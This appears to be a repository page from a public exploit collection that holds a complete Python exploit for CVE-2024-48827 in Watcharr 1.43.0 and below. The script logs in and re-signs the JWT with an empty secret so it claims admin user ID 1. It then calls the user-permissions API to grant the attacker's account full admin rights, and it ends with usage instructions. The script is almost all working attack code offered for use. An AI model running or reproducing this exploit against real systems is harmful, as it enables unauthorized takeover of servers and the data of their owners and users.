881542919e
7 changes to exploits/shellcodes/ghdb DataEase 2.4.0 - Database Configuration Information Exposure Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Watcharr 1.43.0 - Remote Code Execution (RCE) WBCE CMS 1.6.3 - Authenticated Remote Code Execution (RCE) Backup and Staging by WP Time Capsule 1.22.21 - Unauthenticated Arbitrary File Upload Reservit Hotel 2.1 - Stored Cross-Site Scripting (XSS)
108 lines
No EOL
4.7 KiB
Python
Executable file
108 lines
No EOL
4.7 KiB
Python
Executable file
# CVE-2024-48827 exploit by Suphawith Phusanbai
|
|
# Affected Watcharr version 1.43.0 and below.
|
|
import argparse
|
|
import requests
|
|
import json
|
|
import jwt
|
|
from pyfiglet import Figlet
|
|
|
|
f = Figlet(font='slant',width=100)
|
|
print(f.renderText('CVE-2024-48827'))
|
|
|
|
#store JWT token and UserID \ เก็บ token กับ UserID
|
|
jwt_token = None
|
|
user_id = None
|
|
|
|
#login to obtain JWT token / ล็อคอินเพื่อรับ JWT Token
|
|
def login(host, port, username, password):
|
|
url = f'http://{host}:{port}/api/auth/'
|
|
#payload in login API request \ payload ใน json
|
|
payload = {
|
|
'username': username,
|
|
'password': password
|
|
}
|
|
|
|
headers = {
|
|
'Content-Type': 'application/json'
|
|
}
|
|
#login to obtain JWT token \ ล็อคอินเพิ่อเก็บ JWT token แล้วใส่ใน jwt_token object
|
|
try:
|
|
response = requests.post(url, data=json.dumps(payload), headers=headers)
|
|
if response.status_code == 200:
|
|
token = response.json().get('token')
|
|
if token:
|
|
print(f"[+] SUCCESS! JWT Token: {token}")
|
|
global jwt_token
|
|
jwt_token = token
|
|
|
|
#decode JWT token and store UserID in UserID object \ ดีโค้ด JWT token แล้วเก็บค่า UserID ใส่ใน UserID object
|
|
decoded_payload = jwt.decode(token, options={"verify_signature": False})
|
|
global user_id
|
|
user_id = decoded_payload.get('userId')
|
|
|
|
return token
|
|
else:
|
|
print("[-] Check your password again!")
|
|
else:
|
|
print(f"[-] Failed :(")
|
|
print(f"Response: {response.text}")
|
|
except Exception as e:
|
|
print(f"Error! HTTP response code: {e}")
|
|
|
|
#craft the admin token(to make this work you need to know admin username) \ สร้าง admin JWT token ขึ้นมาใหม่โดยใช้ token ที่ล็อคอิน
|
|
def create_new_jwt(original_token):
|
|
try:
|
|
decoded_payload = jwt.decode(original_token, options={"verify_signature": False})
|
|
#userID = 1 is always the admin \ userID ลำดับที่ 1 คือ admin เสมอ
|
|
decoded_payload['userId'] = 1
|
|
new_token = jwt.encode(decoded_payload, '', algorithm='HS256')
|
|
print(f"[+] New JWT Token: {new_token}")
|
|
return new_token
|
|
except Exception as e:
|
|
print(f"[-] Failed to create new JWT: {e}")
|
|
|
|
#privilege escalation with the crafted JWT token \ PE โดยการใช้ crafted admin token
|
|
def privilege_escalation(host, port, adminuser, token):
|
|
#specify API endpoint for giving users admin role \ เรียกใช้งาน API สำหรับให้สิทธิ์ user admin
|
|
url = f'http://{host}:{port}/api/server/users/{user_id}'
|
|
|
|
# permission 3 givefull access privs you can also use 6 and 9 to gain partial admin privileges. \ ให้สิทธิ์ admin ทั้งหมดด้วย permission = 3
|
|
payload = {
|
|
"permissions": 3
|
|
}
|
|
|
|
headers = {
|
|
'Authorization': f'{token}',
|
|
'Content-Type': 'application/json'
|
|
}
|
|
|
|
try:
|
|
response = requests.post(url, data=json.dumps(payload), headers=headers)
|
|
if response.status_code == 200:
|
|
print(f"[+] Privilege Escalation Successful! The current user is now an admin!")
|
|
else:
|
|
print(f"[-] Failed to escalate privileges. Response: {response.text}")
|
|
except Exception as e:
|
|
print(f"Error during privilege escalation: {e}")
|
|
|
|
|
|
#exampl usage: python3 CVE-2024-48827.py -u dummy -p dummy -host 172.22.123.13 -port 3080 -adminuser admin
|
|
#usage
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description='Exploit CVE-2024-48827 to obtain JWT token and escalate privileges.')
|
|
parser.add_argument('-host', '--host', type=str, help='Host or IP address', required=True)
|
|
parser.add_argument('-port', '--port', type=int, help='Port', required=True, default=3080)
|
|
parser.add_argument('-u', '--username', type=str, help='Username for login', required=True)
|
|
parser.add_argument('-p', '--password', type=str, help='Password for login', required=True)
|
|
parser.add_argument('-adminuser', '--adminuser', type=str, help='Admin username to escalate privileges', required=True)
|
|
args = parser.parse_args()
|
|
|
|
#step 1: login
|
|
token = login(args.host, args.port, args.username, args.password)
|
|
|
|
#step 2: craft the admin token
|
|
if token:
|
|
new_token = create_new_jwt(token)
|
|
#step 3: Escalate privileges with crafted token. Enjoy!
|
|
if new_token:
|
|
privilege_escalation(args.host, args.port, args.adminuser, new_token) |